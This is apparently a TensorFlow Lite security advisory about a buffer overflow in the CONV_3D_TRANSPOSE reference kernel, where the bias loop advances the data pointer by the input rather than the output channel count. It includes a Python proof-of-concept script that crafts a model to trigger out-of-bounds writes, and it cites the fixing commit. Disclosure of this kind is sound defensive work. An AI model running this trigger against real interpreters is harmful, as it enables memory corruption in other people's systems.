Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite

Impact

The reference kernel of the CONV_3D_TRANSPOSE TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.

Instead of data_ptr += num_channels; it should be data_ptr += output_num_channels; as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels.

An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF is used).

import tensorflow as tf
model = tf.keras.Sequential(
    [
        tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),
        tf.keras.layers.Conv3DTranspose(
            filters=8,
            kernel_size=(2, 2, 2),
            padding="same",
            data_format="channels_last",
        ),
    ]
)

converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(
    model_content=tflite_model,
    experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,
)

interpreter.allocate_tensors()
interpreter.set_tensor(
    interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024])
)
interpreter.invoke()

Patches

We have patched the issue in GitHub commit 72c0bdcb25305b0b36842d746cc61d72658d2941.